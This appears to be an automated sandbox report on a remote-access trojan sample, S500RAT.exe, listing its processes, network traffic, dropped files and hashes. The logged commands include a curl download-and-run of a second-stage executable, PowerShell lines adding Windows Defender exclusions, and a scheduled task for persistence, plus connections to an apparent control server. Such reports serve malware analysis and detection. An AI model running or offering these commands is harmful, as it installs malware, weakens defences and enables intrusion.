PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4024 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4932 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4932 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4112 wrote to memory of 4068 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg.zip

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Program Files\7-Zip\7zG.exe

"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\" -spe -an -ai#7zMap27532:126:7zEvent20679

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe

"C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/PegasusOrganization

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xf8,0x12c,0x7ffdf0be46f8,0x7ffdf0be4708,0x7ffdf0be4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2880 /prefetch:8

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3496 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4800 /prefetch:1

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c curl -L --silent https://s-500.netlify.app/userdata/files/S-500-Server.exe > "%TEMP%\S-500-Server.exe" & start /min "" "%TEMP%\S-500-Server.exe"

C:\Windows\system32\curl.exe

curl -L --silent https://s-500.netlify.app/userdata/files/S-500-Server.exe

C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe

"C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe'

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'S-500-Server.exe'

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\S-500-Server.exe'

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "S-500-Server" /tr "C:\Users\Admin\AppData\Roaming\S-500-Server.exe"

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.0.1269759615\827730170" -parentBuildID 20221007134813 -prefsHandle 1840 -prefMapHandle 1832 -prefsLen 20860 -prefMapSize 232645 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d0ddfab-3dea-4a8b-8da6-bb8afbee6647} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 1916 29db9cdc858 gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.1.1592327850\744575629" -parentBuildID 20221007134813 -prefsHandle 2304 -prefMapHandle 2292 -prefsLen 20896 -prefMapSize 232645 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b68fe7e-d089-4c61-807c-da25d4e1d134} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 2316 29dad272e58 socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.2.503542242\803791987" -childID 1 -isForBrowser -prefsHandle 3164 -prefMapHandle 3160 -prefsLen 20999 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34f17e44-4fbf-4f2c-9de0-d1d8797d392f} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 3176 29dbdad7d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.3.1733440371\286753938" -childID 2 -isForBrowser -prefsHandle 3588 -prefMapHandle 3584 -prefsLen 26359 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7d5ff59-661f-49bf-8aa5-29db027a9b95} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 3596 29dbc545458 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.4.2036651586\2072391340" -childID 3 -isForBrowser -prefsHandle 4772 -prefMapHandle 4768 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ba8b9506-cda5-4803-ab37-0da084a11c44} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 4780 29dbf642558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.5.1875400083\1569612474" -childID 4 -isForBrowser -prefsHandle 4432 -prefMapHandle 2748 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c3dac67-44c1-4e50-9e17-26458e9ae70b} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 4772 29dbff0b558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.6.1472549078\407935901" -childID 5 -isForBrowser -prefsHandle 5332 -prefMapHandle 5328 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0a89144f-b4cc-4a17-a915-1cef4f25ec4f} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 5340 29dbff0e258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.7.1360667506\835572904" -childID 6 -isForBrowser -prefsHandle 5440 -prefMapHandle 5444 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {085dd957-606f-40cb-b9b9-15c1c613e68f} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 5432 29dbff0d358 tab

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 assets.msn.com udp
NL 23.73.0.145:443 assets.msn.com tcp
US 8.8.8.8:53 145.0.73.23.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 99.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 telegram.org udp
NL 149.154.167.99:443 telegram.org tcp
US 8.8.8.8:53 cdn4.telegram-cdn.org udp
US 34.111.35.152:443 cdn4.telegram-cdn.org tcp
US 8.8.8.8:53 152.35.111.34.in-addr.arpa udp
NL 149.154.167.99:443 telegram.org tcp
US 8.8.8.8:53 s-500.netlify.app udp
US 54.84.236.175:443 s-500.netlify.app tcp
US 8.8.8.8:53 175.236.84.54.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 rentry.co udp
LU 198.251.88.130:443 rentry.co tcp
US 8.8.8.8:53 130.88.251.198.in-addr.arpa udp
US 8.8.8.8:53 reply-disturbed.at.ply.gg udp
US 209.25.141.181:30446 reply-disturbed.at.ply.gg tcp
US 209.25.141.181:30446 reply-disturbed.at.ply.gg tcp
US 209.25.141.181:30446 reply-disturbed.at.ply.gg tcp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 getpocket.cdn.mozilla.net udp
US 8.8.8.8:53 content-signature-2.cdn.mozilla.net udp
US 8.8.8.8:53 shavar.services.mozilla.com udp
US 8.8.8.8:53 push.services.mozilla.com udp
US 52.39.153.93:443 shavar.services.mozilla.com tcp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 34.120.5.221:443 getpocket.cdn.mozilla.net tcp
US 34.117.237.239:443 contile.services.mozilla.com tcp
US 34.160.144.191:443 content-signature-2.cdn.mozilla.net tcp
US 8.8.8.8:53 prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 firefox.settings.services.mozilla.com udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 34.117.65.55:443 push.services.mozilla.com tcp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 prod.pocket.prod.cloudops.mozgcp.net udp
US 34.149.100.209:443 firefox.settings.services.mozilla.com tcp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 contile.services.mozilla.com udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 autopush.prod.mozaws.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 93.153.39.52.in-addr.arpa udp
US 8.8.8.8:53 tracking-protection.cdn.mozilla.net udp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 8.8.8.8:53 tracking-protection.prod.mozaws.net udp
US 8.8.8.8:53 tracking-protection.prod.mozaws.net udp
US 8.8.8.8:53 tracking-protection.cdn.mozilla.net udp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
N/A 127.0.0.1:53531 tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 8.8.8.8:53 37.158.120.34.in-addr.arpa udp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
US 34.120.158.37:443 tracking-protection.cdn.mozilla.net tcp
N/A 127.0.0.1:53611 tcp
US 209.25.141.181:30446 reply-disturbed.at.ply.gg tcp
US 8.8.8.8:53 s-500.netlify.app udp
US 34.74.37.249:80 s-500.netlify.app tcp
US 34.74.37.249:80 s-500.netlify.app tcp
US 8.8.8.8:53 s-500.netlify.app udp
US 8.8.8.8:53 s-500.netlify.app udp
US 34.74.37.249:443 s-500.netlify.app tcp
US 8.8.8.8:53 249.37.74.34.in-addr.arpa udp
US 209.25.141.181:30446 reply-disturbed.at.ply.gg tcp
US 209.25.141.181:30446 reply-disturbed.at.ply.gg tcp

Files

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe

MD5 92f746f5a803d47d1f84b31b00048b1b
SHA1 b84f3403accb843eedeb36ca07656641361b7e2f
SHA256 7b520369fcd410440f9432bba4118316bc83647c8a23d157da2b71937d27eb40
SHA512 b977c9c55c68d5c0fa6ca88bc6497f0facfc0dd6ec1c2fbca69b8444450ade6ab2ef2b4286763b589d7581a625b3e27440a608fbb3d1d9723ca01f0cd7664867

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe

MD5 92f746f5a803d47d1f84b31b00048b1b
SHA1 b84f3403accb843eedeb36ca07656641361b7e2f
SHA256 7b520369fcd410440f9432bba4118316bc83647c8a23d157da2b71937d27eb40
SHA512 b977c9c55c68d5c0fa6ca88bc6497f0facfc0dd6ec1c2fbca69b8444450ade6ab2ef2b4286763b589d7581a625b3e27440a608fbb3d1d9723ca01f0cd7664867

memory/1012-355-0x000001FCBE910000-0x000001FCBFA50000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\initialization.dll

MD5 39326f6ec7a9c067d05565f7b8d18ef5
SHA1 3542ca68222f95027d0895091ffca04882e46a83
SHA256 c6ef349244df9c312229f85b337d94edebde4979a62809c01181de1e92ab1859
SHA512 3f2f6791282c069fae5d3fe383de1bb8685aa5c05148e07e73856d7225f2a774b68b11787e7c7becfe670bae39da59cb09c32858b034786cf1d2fe96148a0726

memory/1012-357-0x000001FCC16D0000-0x000001FCC16DC000-memory.dmp

memory/1012-358-0x000001FCC1700000-0x000001FCC1712000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\Guna.UI2.dll

MD5 0f07705bd42d86d77dab085c42775244
SHA1 7e4b5c367183f4753a8d610e353c458c3def3888
SHA256 cf9b66e11506fa431849350c0cb58430a71e5ec943d2db9ef1b2e2302f299443
SHA512 851b1a4c470ee7fe07ce5619c16fd391428585926c5b559694a9e445633ea51ec86c74a3bbf3bce39d943c4bf714dad2fd3c4a4d0703be2333541c79a2ee97f0

memory/1012-360-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-361-0x000001FCDA380000-0x000001FCDA572000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\c6ef4c2b-9a55-40b4-957b-c3cb74191397\GunaDotNetRT64.dll

MD5 9c43f77cb7cff27cb47ed67babe3eda5
SHA1 b0400cf68249369d21de86bd26bb84ccffd47c43
SHA256 f25b9288fe370dcfcb4823fb4e44ab88c7f5fce6e137d0dba389a3dba07d621e
SHA512 cde6fb6cf8db6f9746e69e6c10214e60b3646700d70b49668a2a792e309714dd2d4c5a5241977a833a95fcde8318abcc89eb9968a5039a0b75726bbfa27125a7

C:\Users\Admin\AppData\Local\Temp\c6ef4c2b-9a55-40b4-957b-c3cb74191397\GunaDotNetRT64.dll

MD5 9c43f77cb7cff27cb47ed67babe3eda5
SHA1 b0400cf68249369d21de86bd26bb84ccffd47c43
SHA256 f25b9288fe370dcfcb4823fb4e44ab88c7f5fce6e137d0dba389a3dba07d621e
SHA512 cde6fb6cf8db6f9746e69e6c10214e60b3646700d70b49668a2a792e309714dd2d4c5a5241977a833a95fcde8318abcc89eb9968a5039a0b75726bbfa27125a7

memory/1012-369-0x00007FFDF2FF0000-0x00007FFDF313E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\SunnyUI.dll

MD5 af527b22b92a23c38a492c5961cf2643
SHA1 15106adfa13415287b3e9d8deba21df53cb92eda
SHA256 4208c9293c5684d2fc3c8f5a269a1120adee32fbd2766bbb73410aab2d491b7a
SHA512 543cce9b5e4c9558bf0bd0da9d6af8c1ad2f7d62e2d65a9aa4e3af9e4840ce6fb6bbe8952bd20f6f1e3a6d3b5e5e5b3417a60b6d955bfa4e23a653262677b49c

memory/1012-371-0x000001FCDAA10000-0x000001FCDAC50000-memory.dmp

memory/1012-372-0x00007FFE06870000-0x00007FFE06897000-memory.dmp

memory/1012-373-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-376-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-375-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-374-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\SunnyUI.Common.dll

MD5 17cbdd9e4cb0ede2fad8c08c05fdaa84
SHA1 74bc0ea3e8bd64c6752b6c0adac1bfe2b313416c
SHA256 d975bc4711655e6fd2361ae9b056c617051f616ced5b46ce7772255a85712441
SHA512 1948c20585ecb9984cd9452a74bcb75e81c35ca37f0cf0e1d3f211ad71b9e40c215f4784af7803cec9baef9984f682a32817a85806aefad21830b13b6a0a6a4a

memory/1012-378-0x000001FCDB050000-0x000001FCDB08C000-memory.dmp

memory/1012-379-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 8411007bafe7b1182af1ad3a1809b4f8
SHA1 4a78ee0762aadd53accae8bb211b8b18dc602070
SHA256 1f274d0d144942d00e43fb94f9c27fc91c68dce50cd374ac6be4472b08215ca3
SHA512 909e2e33b7614cb8bbd14e0dfff1b7f98f4abbf735f88292546ce3bfa665e4cb5ee4418561004e56afc5dd30d21483b05f6358dad5624c0dc3ab1ba9a3be18eb

memory/1012-386-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

\??\pipe\LOCAL\crashpad_4112_DGLRSFUODLXQJIPD

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1012-393-0x00007FFE06870000-0x00007FFE06897000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 a5a65c53b86c2dbec1096fe51d709875
SHA1 ada21fa69b3596194fce472f18c93f5dad94f61c
SHA256 2d87b6c17b46a44fecc0488d932c5896550dcae8fd033a651364aaf5b14a608f
SHA512 8e231c1ace8cd9f03f21528d950b201a0a383fd9ab73bc3165e69f40c8309baca78f55d665fdcc962811700503adf2b9ea07dbfae8400329725c9da28c2c9ccb

memory/1012-413-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-414-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-422-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-423-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-424-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-427-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 5b6f7e3ae8fe9885d3b8c4a734988f9a
SHA1 a1e80adf089934fc84db4034b6b98533702f36e3
SHA256 e2ee820b0b623e63ba9d5583d30cdde1d954ebfba3fecd798c483407c6dea378
SHA512 c64761f7df00cc5e790b18458eb132a673d26f47a43a2cf0b562a8fd12c6a7c0ef8bb0867239f890c0e02e1244afcafb8db0db0fc92010d1eeaee59a8b0b0a1f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 394d744047b1f28cf8ef98584a88e000
SHA1 6deebcf5b081809fe7e1e8a2a88529a29597703d
SHA256 f6684f7bfb316eb18fa58a6e5b98efdd7745d9819c41986602ee6cabe1993431
SHA512 73f60746454a8654daa3e22af21430e34f0b1d7bf3a6893610322237787e8136d1ddf501fdce201d85bb1a1903ac4de88c2b8220697ab6399b00b3a23c221431

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

MD5 4a6fc19a5fae3a523cc04ecb179fd12d
SHA1 be8ba2d26bb5c2a563b132900a4e6c383b63ed59
SHA256 bedbd54212dc789389294403a32e423c2a5a1ec4f23d0f592e64e433a18385f6
SHA512 f44ddb51ce932b981a0261dee2dd9d5781199381fdfb54783b75106a0916bfdfda092d34c9c40a8d8dfcdd04a066748729142ae984ea2771da97f528f7c6f868

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 dfeec27283ac384bbab7a1318dbcfd24
SHA1 8a5c007b052c40a13e0e6195bb05d9bcc578a386
SHA256 21cfecf7b4a8303b51f7386d8a7db63fe85693686f2f3ddf7dfd61715cfbe9f8
SHA512 fb03ea99a980c4c443a538b926e80e458debf73f3a50d587b7e70ddfc5641c3ddf7ac55e3f432d315da02863f1171301e71c2adfc53142216db01b523be05b8a

